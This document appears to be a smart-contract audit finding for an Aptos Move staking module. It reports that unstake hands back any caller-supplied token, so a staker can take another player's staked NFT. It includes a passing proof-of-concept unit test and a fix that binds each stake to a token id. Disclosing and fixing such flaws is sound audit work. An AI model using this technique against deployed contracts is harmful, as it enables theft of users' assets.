streets::unstake can return the wrong Rapper
Description
-
Normal behavior: When a player stakes Rapper X, the protocol should remember exactly that token. Later, unstake must return the same Rapper X, regardless of what object handle the caller supplies.
-
Actual behavior:
public entry fun stake(staker: &signer, rapper_token: Object<Token>) {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
move_to(staker, StakeInfo {
start_time_seconds: timestamp::now_seconds(),
owner: staker_addr,
});
one_shot::transfer_record_only(token_id, staker_addr, @battle_addr);
object::transfer(staker, rapper_token, @battle_addr);
}
public entry fun unstake(staker: &signer, module_owner: &signer, rapper_token: Object<Token>) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let stake_info = borrow_global<StakeInfo>(staker_addr);
assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
@> let StakeInfo { start_time_seconds: _, owner: _ } = move_from<StakeInfo>(staker_addr);
@> one_shot::transfer_record_only(token_id, @battle_addr, staker_addr);
@> object::transfer(module_owner, rapper_token, staker_addr);
}
Why this matters:
A staker who originally locked Rapper A can call unstake supplying the object handle of some Rapper B currently in custody (e.g., from another player). The contract will happily return B to the staker. That’s a straight substitution flaw.
Risk
Likelihood:
Impact:
-
Theft or mix-up of NFTs: the caller can retrieve a different token than the one they staked.
-
If the module owner’s signer is auto-co-signed by backend (common in custody flows), the attack is practical on-chain, not just theoretical.
-
Even without theft, users can receive “wrong token back,” breaking accounting and user trust.
Proof of Concept
Provide a unit test PoC that avoids unrelated framework deps (timestamp/coin) while preserving the core logic flaw. In Aptos unit tests, timestamp::now_seconds() and coin infra are not pre-published, so we use #[test_only] helpers to stub time and skip coin operations. These helpers do not alter production behavior; they only allow the test to run and focus on the bug.
Test-only helpers (added to sources)
In one_shot.move — read logical owner from the registry:
#[test_only]
public fun test_get_owner(token_id: address): address acquires RapperStats {
use aptos_std::table;
let stats = &borrow_global<RapperStats>(@battle_addr).stats;
let s = table::borrow(stats, token_id);
s.owner
}
In streets.move — stake/unstake clones without timestamp/coin, but with the same ownership logic:
#[test_only]
public fun test_stake(staker: &signer, rapper_token: Object<Token>) {
let staker_addr = signer::address_of(staker);
let token_id = aptos_framework::object::object_address(&rapper_token);
move_to(staker, StakeInfo { start_time_seconds: 0, owner: staker_addr });
battle_addr::one_shot::transfer_record_only(token_id, staker_addr, @battle_addr);
aptos_framework::object::transfer(staker, rapper_token, @battle_addr);
}
#[test_only]
public fun test_unstake_vulnerable(
staker: &signer,
module_owner: &signer,
rapper_token: Object<Token>
) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
let token_id = aptos_framework::object::object_address(&rapper_token);
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
let si = borrow_global<StakeInfo>(staker_addr);
assert!(si.owner == staker_addr, E_NOT_OWNER);
let StakeInfo { start_time_seconds: _, owner: _ } = move_from<StakeInfo>(staker_addr);
battle_addr::one_shot::transfer_record_only(token_id, @battle_addr, staker_addr);
aptos_framework::object::transfer(module_owner, rapper_token, staker_addr);
}
PoC test in tests/stakeinfo_poc.move
module battle_addr::stakeinfo_poc {
use std::signer;
use aptos_framework::object::{Self as object, Object};
use aptos_token_v2::token::Token;
use battle_addr::one_shot;
use battle_addr::streets;
#[test(battle_addr = @0x42, alice = @0xa11ce, bob = @0xb0b)]
public fun test_unstake_with_wrong_token_returns_other(
battle_addr: &signer,
alice: &signer,
bob: &signer,
) {
let (alice_obj, alice_id) = one_shot::test_mint_to_player_and_return_object(battle_addr, alice);
let (bob_obj, bob_id) = one_shot::test_mint_to_player_and_return_object(battle_addr, bob);
streets::test_stake(alice, alice_obj);
streets::test_stake(bob, bob_obj);
let fake_b: Object<Token> = object::address_to_object<Token>(bob_id);
streets::test_unstake_vulnerable(alice, battle_addr, fake_b);
let owner_of_B_after = one_shot::test_get_owner(bob_id);
assert!(owner_of_B_after == signer::address_of(alice), 1001);
}
}
Result: Test passes. It demonstrates that unstake returns the caller-supplied object (Bob’s Rapper), not the one actually staked (Alice’s Rapper), due to missing token_id binding in StakeInfo.
Note on helpers: We stubbed out timestamp/coin because Aptos unit tests don’t auto-publish 0x1::timestamp resources or coin conversion maps; the helpers preserve the flawed ownership logic exactly while avoiding unrelated test failures.
Recommended Mitigation
Bind stake to a specific token id and ignore the caller’s object handle during unstake.
- struct StakeInfo has key, store {
- start_time_seconds: u64,
- owner: address,
- }
+ struct StakeInfo has key, store {
+ token_id: address, // bind to the exact token
+ start_time_seconds: u64,
+ owner: address,
+ }
public entry fun stake(staker: &signer, rapper_token: Object<Token>) {
let staker_addr = signer::address_of(staker);
let token_id = object::object_address(&rapper_token);
- move_to(staker, StakeInfo { start_time_seconds: timestamp::now_seconds(), owner: staker_addr });
+ move_to(staker, StakeInfo {
+ token_id,
+ start_time_seconds: timestamp::now_seconds(),
+ owner: staker_addr,
+ });
one_shot::transfer_record_only(token_id, staker_addr, @battle_addr);
object::transfer(staker, rapper_token, @battle_addr);
}
-public entry fun unstake(staker: &signer, module_owner: &signer, rapper_token: Object<Token>) acquires StakeInfo {
+public entry fun unstake(staker: &signer, module_owner: &signer, _ignored: Object<Token>) acquires StakeInfo {
let staker_addr = signer::address_of(staker);
- let token_id = object::object_address(&rapper_token);
+ let info = borrow_global<StakeInfo>(staker_addr);
+ let token_id = info.token_id;
assert!(exists<StakeInfo>(staker_addr), E_TOKEN_NOT_STAKED);
- let stake_info = borrow_global<StakeInfo>(staker_addr);
- assert!(stake_info.owner == staker_addr, E_NOT_OWNER);
+ assert!(info.owner == staker_addr, E_NOT_OWNER);
// ... rewards & stats ...
- let StakeInfo { start_time_seconds: _, owner: _ } = move_from<StakeInfo>(staker_addr);
+ let StakeInfo { start_time_seconds: _, owner: _, token_id: _ } = move_from<StakeInfo>(staker_addr);
one_shot::transfer_record_only(token_id, @battle_addr, staker_addr);
- object::transfer(module_owner, rapper_token, staker_addr);
+ // Rebuild the exact object by id; do not trust caller’s handle
+ let obj = object::address_to_object<aptos_token_v2::token::Token>(token_id);
+ object::transfer(module_owner, obj, staker_addr);
}
